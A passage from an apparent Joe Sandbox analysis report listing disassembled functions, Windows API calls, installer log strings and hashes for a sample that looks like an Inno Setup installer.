RtlDeleteCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AAE

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: 57d208b384dc2f586c03b96f4df297de7af50f17441c1957de60d2bf1c39d9ad
Instruction ID: 5447b05044442752c1d56c7733342563ab4b4f61826a3093f511f794066d9233
Opcode Fuzzy Hash: 57d208b384dc2f586c03b96f4df297de7af50f17441c1957de60d2bf1c39d9ad
Instruction Fuzzy Hash: 91116330341280DAD711ABA59EE2F623668B785748F44437EF444B62F2C67C9840CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 00403D02 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 72windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00403D9D
ExitProcess.KERNEL32 ref: 00403DE5

Strings

Error, xrefs: 00403D91
9@, xrefs: 00403D29, 00403D34
Runtime error at 00000000, xrefs: 00403D96, 00403DA9

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ExitMessageProcess
String ID: Error$Runtime error at 00000000$9@
API String ID: 1220098344-1503883590
Opcode ID: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
Instruction ID: db3008c0e6bc5d60e05df0545d3e9f81ce91e923819fa2a9fb93000da4b6b716
Opcode Fuzzy Hash: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
Instruction Fuzzy Hash: B521F830A04341CAE714EFA59AD17153E98AB49349F04837BD500B73E3C77C8A45C76E

Uniqueness

Uniqueness Score: -1.00%

Function 004036B8 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 004036F2
SysAllocStringLen.OLEAUT32(?,00000000), ref: 004036FD
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403710
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 0040371A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403729

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: e5c78b39f57021be2b84baee447ab27339ef0409ceaef8bd5dd3a85dcd2f6a98
Instruction ID: 1285967c487f36a4f1f77a8b8e1f1fe351824cacfdb80e5859a13ebcd08b75b2
Opcode Fuzzy Hash: e5c78b39f57021be2b84baee447ab27339ef0409ceaef8bd5dd3a85dcd2f6a98
Instruction Fuzzy Hash: 17F068A13442543AF56075A75C43FAB198CCB45BAEF10457FF704FA2C2D8B89D0492BD

Uniqueness

Uniqueness Score: -1.00%

Function 004030DC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00409B3A), ref: 004030E3
GetCommandLineA.KERNEL32(00000000,00409B3A), ref: 004030EE

Strings

%L, xrefs: 004030F3
U1hd.@, xrefs: 00403103

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CommandHandleLineModule
String ID: U1hd.@$%L
API String ID: 2123368496-90655549
Opcode ID: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
Instruction ID: 0f926add87520dc699e98d27074396f9fab16295c11a520b4b5863bd90c7cb52
Opcode Fuzzy Hash: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
Instruction Fuzzy Hash: 03C01274541300CAD328AFF69E8A304B990A385349F40823FA608BA2F1CA7C4201EBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00401918 Relevance: 6.0, APIs: 4, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.KERNEL32(0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040192E
RtlEnterCriticalSection.KERNEL32(0040C41C,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 00401941
LocalAlloc.KERNEL32(00000000,00000FF8,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040196B
RtlLeaveCriticalSection.KERNEL32(0040C41C,004019D5,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 004019C8

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: aabd9570e7a52811c13604d6a46282fe49281d95e81aad3d3e53893a1864dea1
Instruction ID: 093a8b970c40f4dda7bd37408b901a2e20e4e29fb74a5496b56404d4d89a3717
Opcode Fuzzy Hash: aabd9570e7a52811c13604d6a46282fe49281d95e81aad3d3e53893a1864dea1
Instruction Fuzzy Hash: CC0161B0684240DEE715ABA999E6B353AA4E786744F10427FF080F62F2C67C4450CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 004093FC Relevance: 5.0, APIs: 4, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,0000000D,?,0040A0FF,000000FA,00000032,0040A166), ref: 0040941B
Sleep.KERNEL32(?,?,?,?,0000000D,?,0040A0FF,000000FA,00000032,0040A166), ref: 0040942B
GetLastError.KERNEL32(?,?,?,0000000D,?,0040A0FF,000000FA,00000032,0040A166), ref: 0040943E
GetLastError.KERNEL32(?,?,?,0000000D,?,0040A0FF,000000FA,00000032,0040A166), ref: 00409448

Memory Dump Source

Source File: 00000000.00000002.2867664193.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2867644215.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867685661.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2867708438.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: fb2155ff6e4859bec8591c3fde2b363a3ebb44483e144ae34e4cc697df15f474
Instruction ID: 2c3041558bff2c9731999a3fdaa5bf7f611e1c5313eca5e15d372d414c244bd5
Opcode Fuzzy Hash: fb2155ff6e4859bec8591c3fde2b363a3ebb44483e144ae34e4cc697df15f474
Instruction Fuzzy Hash: 32F0B472A0811457CB34B5EF9981A6F638DEAD1368751813BF904F3383D578CD0392AD

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 0RWRPBSuDx.tmpPID: 6940, Parent PID: 6892COMMON

Execution Graph

Execution Coverage:	16.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	89

Executed Functions

Function 0046C0D0 Relevance: 78.0, APIs: 4, Strings: 40, Instructions: 959COMMON

Download Yara Rule

Strings

Time stamp of existing file: %s, xrefs: 0046C453
Dest file is protected by Windows File Protection., xrefs: 0046C315
Failed to read existing file's MD5 sum. Proceeding., xrefs: 0046C6F8
Existing file is a newer version. Skipping., xrefs: 0046C62A
Couldn't read time stamp. Skipping., xrefs: 0046C75D
User opted not to overwrite the existing file. Skipping., xrefs: 0046C875
Existing file has a later time stamp. Skipping., xrefs: 0046C7F7
@, xrefs: 0046C1D8
Same time stamp. Skipping., xrefs: 0046C77D
Existing file's MD5 sum matches our file. Skipping., xrefs: 0046C6DD
Dest file exists., xrefs: 0046C3E3
Skipping due to "onlyifdoesntexist" flag., xrefs: 0046C3F6
.tmp, xrefs: 0046C9DF
Time stamp of our file: (failed to read), xrefs: 0046C3CF
InUn, xrefs: 0046CB6D
Stripped read-only attribute., xrefs: 0046C8EF
Version of existing file: (none), xrefs: 0046C722
Non-default bitness: 64-bit, xrefs: 0046C2D7
-- File entry --, xrefs: 0046C123
Version of our file: %u.%u.%u.%u, xrefs: 0046C518
Same version. Skipping., xrefs: 0046C70D
Time stamp of existing file: (failed to read), xrefs: 0046C45F
Existing file's MD5 sum is different from our file. Proceeding., xrefs: 0046C6EC
Incrementing shared file count (64-bit)., xrefs: 0046CF97
Existing file is protected by Windows File Protection. Skipping., xrefs: 0046C814
, xrefs: 0046C5F7, 0046C7C8, 0046C846
Version of existing file: %u.%u.%u.%u, xrefs: 0046C5A4
Dest filename: %s, xrefs: 0046C2BC
User opted not to strip the existing file's read-only attribute. Skipping., xrefs: 0046C8BE
Will register the file (a DLL/OCX) later., xrefs: 0046CF2A
UF, xrefs: 0046D11F
Time stamp of our file: %s, xrefs: 0046C3C3
Uninstaller requires administrator: %s, xrefs: 0046CB9D
Installing the file., xrefs: 0046C931
Incrementing shared file count (32-bit)., xrefs: 0046CFB0
Skipping due to "onlyifdestfileexists" flag., xrefs: 0046C922
Version of our file: (none), xrefs: 0046C524
Failed to strip read-only attribute., xrefs: 0046C8FB
Will register the file (a type library) later., xrefs: 0046CF1E
Non-default bitness: 32-bit, xrefs: 0046C2E3

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID:
String ID: $-- File entry --$.tmp$@$Couldn't read time stamp. Skipping.$Dest file exists.$Dest file is protected by Windows File Protection.$Dest filename: %s$Existing file has a later time stamp. Skipping.$Existing file is a newer version. Skipping.$Existing file is protected by Windows File Protection. Skipping.$Existing file's MD5 sum is different from our file. Proceeding.$Existing file's MD5 sum matches our file. Skipping.$Failed to read existing file's MD5 sum. Proceeding.$Failed to strip read-only attribute.$InUn$Incrementing shared file count (32-bit).$Incrementing shared file count (64-bit).$Installing the file.$Non-default bitness: 32-bit$Non-default bitness: 64-bit$Same time stamp. Skipping.$Same version. Skipping.$Skipping due to "onlyifdestfileexists" flag.$Skipping due to "onlyifdoesntexist" flag.$Stripped read-only attribute.$Time stamp of existing file: %s$Time stamp of existing file: (failed to read)$Time stamp of our file: %s$Time stamp of our file: (failed to read)$Uninstaller requires administrator: %s$User opted not to overwrite the existing file. Skipping.$User opted not to strip the existing file's read-only attribute. Skipping.$UF$Version of existing file: %u.%u.%u.%u$Version of existing file: (none)$Version of our file: %u.%u.%u.%u$Version of our file: (none)$Will register the file (a DLL/OCX) later.$Will register the file (a type library) later.
API String ID: 0-843965562
Opcode ID: 3aa41980a51285452c5a719ab75ef6ba90a455b0b06de281e8ec642f8d67b5cd
Instruction ID: 2c976b8502b68867d0ce509d0e418c852ac65d8e3c14b9799468bf735a09a243
Opcode Fuzzy Hash: 3aa41980a51285452c5a719ab75ef6ba90a455b0b06de281e8ec642f8d67b5cd
Instruction Fuzzy Hash: A5926430E042489FCB11DFA5C495BEDBBB5AF09304F5440ABE844AB392E7789E45CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00423B7C Relevance: 21.4, APIs: 14, Instructions: 395
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7873e9bd340cf6d7e9cfa7a0788c35c3dc5b9db54546344555b68b7d46e3100b
Instruction ID: 7115e30b2d35316c82e91109ae6d6d6b504554527cf119b6ec0a5d38efd5eaef
Opcode Fuzzy Hash: 7873e9bd340cf6d7e9cfa7a0788c35c3dc5b9db54546344555b68b7d46e3100b
Instruction Fuzzy Hash: 88E19A30B00124EBC710DF69E585A5EB7B0FF48704FA441AAE645AB352CB7DEE81DB09

Uniqueness

Uniqueness Score: -1.00%

Function 004637D4 Relevance: 13.9, APIs: 4, Strings: 3, Instructions: 1645
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0048F804: GetWindowRect.USER32(00000000), ref: 0048F81A

LoadBitmapA.USER32(00400000,STOPIMAGE), ref: 00463BA3

Part of subcall function 0041D620: GetObjectA.GDI32(?,00000018,00463BBD), ref: 0041D64B

Part of subcall function 00463630: SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 004636CD
Part of subcall function 00463630: ExtractIconA.SHELL32(00400000,00000000,?), ref: 004636F3
Part of subcall function 00463630: SHGetFileInfo.SHELL32(00000000,00000000,?,00000160,00001000), ref: 0046374F
Part of subcall function 00463630: ExtractIconA.SHELL32(00400000,00000000,?), ref: 00463775

Part of subcall function 00462FEC: KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,00463C58,00000000,00000000,00000000,0000000C,00000000), ref: 00463004

Part of subcall function 0048FA60: MulDiv.KERNEL32(0000000D,?,0000000D), ref: 0048FA6A

Part of subcall function 0048F754: 73A1A570.USER32(00000000,?,?,?), ref: 0048F776
Part of subcall function 0048F754: SelectObject.GDI32(?,00000000), ref: 0048F79C
Part of subcall function 0048F754: 73A1A480.USER32(00000000,?,0048F7FA,0048F7F3,?,00000000,?,?,?), ref: 0048F7ED

Part of subcall function 0048FA50: MulDiv.KERNEL32(0000004B,?,00000006), ref: 0048FA5A

GetSystemMenu.USER32(00000000,00000000,0000000C,00000000,00000000,00000000,00000000,02130464,021320B8,?,?,021320E8,?,?,02132138,?), ref: 0046481B
AppendMenuA.USER32(00000000,00000800,00000000,00000000), ref: 0046482C
AppendMenuA.USER32(00000000,00000000,0000270F,00000000), ref: 00464844

Part of subcall function 00429FCC: SendMessageA.USER32(00000000,0000014E,00000000,00000000), ref: 00429FE2

Strings

, xrefs: 00463C65
STOPIMAGE, xrefs: 00463B98
(Default), xrefs: 00464E2F

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Menu$AppendExtractFileIconInfoObject$A480A570BitmapCallbackDispatcherLoadMessageRectSelectSendSystemUserWindow
String ID: $(Default)$STOPIMAGE
API String ID: 1965080796-770201673
Opcode ID: 852b161cdb0dace639722325e252d42721c2c4ef680a80770af8d8d997e53459
Instruction ID: a97045497617a37e73d7fe25ec91c7d2f949ac95d49f9cf5c1555c71fec600f2
Opcode Fuzzy Hash: 852b161cdb0dace639722325e252d42721c2c4ef680a80770af8d8d997e53459
Instruction Fuzzy Hash: C9F2D5386005119FCB00EB69D8D9F9973F5BF89304F1542B6E5049B36AD778EC4ACB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0047A44C Relevance: 9.1, APIs: 6, Instructions: 149fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,?,00000000,?,00000000,0047A648,?,00000000,00000000,?,?,0047B77D,?,?,00000000), ref: 0047A4AC
FindNextFileA.KERNEL32(000000FF,?,00000000,?,?,00000000,?,00000000,0047A648,?,00000000,00000000,?,?,0047B77D,?), ref: 0047A4F5
FindClose.KERNEL32(000000FF,000000FF,?,00000000,?,?,00000000,?,00000000,0047A648,?,00000000,00000000,?,?,0047B77D), ref: 0047A502
FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,00000000,?,00000000,0047A648,?,00000000,00000000,?,?,0047B77D,?), ref: 0047A54E
FindNextFileA.KERNEL32(000000FF,?,00000000,0047A61B,?,00000000,?,00000000,?,?,00000000,?,00000000,0047A648,?,00000000), ref: 0047A5F7
FindClose.KERNEL32(000000FF,0047A622,0047A61B,?,00000000,?,00000000,?,?,00000000,?,00000000,0047A648,?,00000000,00000000), ref: 0047A615

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 58c32b23aa8a6e90c09b165a63e98b8d05e69813d422197aa64ba14eba77b4ae
Instruction ID: df6970a490733c3fc08b9eb15c5b52ce16d10e4af30c9d3b25a464b00084d34d
Opcode Fuzzy Hash: 58c32b23aa8a6e90c09b165a63e98b8d05e69813d422197aa64ba14eba77b4ae
Instruction Fuzzy Hash: FE516F71900648AFCB11EF65CC45ADEB7BCEB88319F1084BAA408E7341D6389F55CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0047077C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 99fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,004708E6,?,?,00000001,004950AC), ref: 004707D5
FindNextFileA.KERNEL32(00000000,?,00000000,?,00000000,004708E6,?,?,00000001,004950AC), ref: 004708B2
FindClose.KERNEL32(00000000,00000000,?,00000000,?,00000000,004708E6,?,?,00000001,004950AC), ref: 004708C0

Strings

unins, xrefs: 00470828
unins???.*, xrefs: 004707BF

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID: unins$unins???.*
API String ID: 3541575487-1009660736
Opcode ID: 73466def34ad962c4187833bf759d0dd7cecfad84590a124285bf170d0f599fa
Instruction ID: 3fcbdb993abfa6ff85d44bbf729c32bfcaea701f4f0f62c70188b68341c8b9af
Opcode Fuzzy Hash: 73466def34ad962c4187833bf759d0dd7cecfad84590a124285bf170d0f599fa
Instruction Fuzzy Hash: 57315370A00108DBDB10EB65C885ADEB7A8DF45304F55C0B6E448AB7A2D738DF419B99

Uniqueness

Uniqueness Score: -1.00%

Function 00447DC0 Relevance: 4.7, APIs: 3, Instructions: 151libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(00000000,00000000,00000008,?,?,00000000,00447F9D), ref: 00447EE0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00447F61

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: e1f9654b16739f7afd9434fe722f8049f548f167a04ca6919c39ec6c1a6f3416
Instruction ID: 0540f09e741ba6bdaccbcd33a6618944dfbf5ea3d39d596ba1fc0c584366e1b5
Opcode Fuzzy Hash: e1f9654b16739f7afd9434fe722f8049f548f167a04ca6919c39ec6c1a6f3416
Instruction Fuzzy Hash: 87514574E04105AFDB00EF95C481AAEB7F9EF44315F1081BBE814BB391DB389E058B99

Uniqueness

Uniqueness Score: -1.00%

Function 004513E4 Relevance: 3.0, APIs: 2, Instructions: 45fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,00451447,?,?,-00000001,00000000), ref: 00451421
GetLastError.KERNEL32(00000000,?,00000000,00451447,?,?,-00000001,00000000), ref: 00451429

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ErrorFileFindFirstLast
String ID:
API String ID: 873889042-0
Opcode ID: 9098511829d4e670addc214c55e43265b4f5de8ad82b820fa4573d5b106649ad
Instruction ID: e37cade2724d1815d1fa35268cc527e6c5f68d3fdc0659cff19e79a06527a77b
Opcode Fuzzy Hash: 9098511829d4e670addc214c55e43265b4f5de8ad82b820fa4573d5b106649ad
Instruction Fuzzy Hash: AFF04931A00204AB8B10EFA69C4149EF7ECDB4672676086BBFC14E3692DA784D048558

Uniqueness

Uniqueness Score: -1.00%

Function 004084D0 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,004944C0,00000001,?,0040859B,?,00000000,0040867A), ref: 004084EE

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: db4c94cdf382ee3399fd393310c0d3b07f3e4771964ce669c16d021a31866df8
Instruction ID: 1ce02aaae6ec4ade8b295bae84213e8e13784b7c216e354617812bc232f4da8b
Opcode Fuzzy Hash: db4c94cdf382ee3399fd393310c0d3b07f3e4771964ce669c16d021a31866df8
Instruction Fuzzy Hash: 59E0D87170021467D711E95A9C869F7B35CA758314F00427FB949EB3C2EDB8DE4046ED

Uniqueness

Uniqueness Score: -1.00%

Function 00423AF4 Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,?,004240C1,?,00000000,004240CC), ref: 00423B1E

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: cc880d6ce53abf1e7d27737915fc5f31ec95f8b5a45794faa8616ac4cf8ccc5f
Instruction ID: 62037174fb3a4e63d39f4d80a9d1e591ad15120c94b51c82d4663250cb3dbf53
Opcode Fuzzy Hash: cc880d6ce53abf1e7d27737915fc5f31ec95f8b5a45794faa8616ac4cf8ccc5f
Instruction Fuzzy Hash: A0F0C579205608AFCB40DF9DC588D4AFBE8FB4C260B158295B988CB321C234FE808F94

Uniqueness

Uniqueness Score: -1.00%

Function 00453D04 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?), ref: 00453D1A

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: cdb4bec123f1825443ad5cc623391d8cf1be7f4fb66e8da3f94aff517a088b8d
Instruction ID: 0cfc6298fdd12068752ce7e5f45c2d53baaa1050ce66cc5593b8e4691a5d7c37
Opcode Fuzzy Hash: cdb4bec123f1825443ad5cc623391d8cf1be7f4fb66e8da3f94aff517a088b8d
Instruction Fuzzy Hash: 69D0C2B120420053C300AE68DC8269635AC8B84356F10483E7C85CB3C3EA7CDF4D566A

Uniqueness

Uniqueness Score: -1.00%

Function 0042ED54 Relevance: 1.5, APIs: 1, Instructions: 17nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 0042ED70

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
